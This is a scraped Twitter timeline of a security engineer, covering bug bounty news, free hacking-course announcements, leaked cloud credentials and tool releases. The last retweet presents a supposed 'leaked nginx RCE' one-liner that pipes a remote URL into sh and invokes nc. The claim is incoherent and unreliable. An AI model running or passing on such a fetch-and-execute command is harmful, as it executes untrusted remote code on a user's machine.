v1sion

Security Engineer @ SigTech

[jordi @jordienr]

developers will spend $300 on a mechanic keyboard that makes a specific sound and then use it with $400 noise cancelling headphones

[JS0N Haddix @Jhaddix]

A week ago I said that bug hunters could write novels about “the dark side of bug bounty”.

I mostly meant how shitty programs can be.

Little did I know:

https://t.co/7oWk5XcgSC

The report of a platform triager, an h1 employee, who stole bugs from bug hunters to profit.

[TCM Security @TCMSecurity]

Registration is now LIVE for the PNPT Training Live stream class.

Over 50 hours of ethical hacking training, including OSINT, Active Directory exploitation, web exploitation, privilege escalation, exploit development, and so much more. FREE.

Enroll here: https://t.co/pyMidHpivz

[v1sion @andre_mmorais]

@TCMSecurity Amazing!
Do we also have access to the labs or that is separated?
Nevertheless really great stuff!

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

infinite money printing bug on Coinbase. awarded $250k to the hacker
https://t.co/QXheIPgpi8

POC :

[Mara @m_ou_se]

🐚 Did you know? Posix shell input/output redirection doesn't need to be at the end of the command. You can put it at the start or in the middle of the command too:

$ echo >file hello world

✨

[Victor Trac @victortrac]

Oy vey. We give candidates a blank GCP project for our interview project with Owner access. Just saw that a candidate committed his credentials to Github, which got picked up by a bot and racked up $78k in charges in 3 days. 😬

[v1sion @andre_mmorais]

@nullenc0de CVE-2021-1299 PoC -> https://t.co/vXoZfRuH0L

[v1sion @andre_mmorais]

@HKrassenstein A Disgruntled Employee
https://t.co/EwEchk2DWm

[v1sion @andre_mmorais]

@Regala_ Mind blowing xD

[Ashkazat Bagatov @ashkazat]

I was reviewing Cryptocurrency services I was using and I found a private Github token in a Blockfolio app from two years ago! Writeup:

https://t.co/giDulNFhu5

[g0t mi1k @g0tmi1k]

So @offsectraining's PWK v2 is out...

PDF:
- v1: 380 pages
- v2: 853 pages

Videos
- v1: 8+ hours
- v2: 17+ hours

Targets:
- v1: 50+
- v2: 75+

Blog: https://t.co/8XUjffPCV4
PDF: https://t.co/V5G9CacGz0
Course: https://t.co/wKUzAdbqr3

[v1sion @andre_mmorais]

@WebSecAcademy It works, thank you 💪

[v1sion @andre_mmorais]

@MalwareTechBlog How about 30/02, does this works?

[Burp Suite @Burp_Suite]

Burp Suite Pro/Community 2.1.01 released, with support for WebSockets in Burp Repeater.
https://t.co/dYFYSBWGN9

[v1sion @andre_mmorais]

@WebSecAcademy Insecure Deserialization, Server Side Template Injection

[v1sion @andre_mmorais]

@Hacker0x01

[v1sion @andre_mmorais]

Just tried, it worked! Hack the world 🔥💣

[uɐpʇou@ ✸ @notdan]

LEAKED: nginx 1.x PoC on-liner. Null-byte RCE overflow in nginx BLT/Stream

curl -gsS https://t.co/nV4b5YG8J8\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost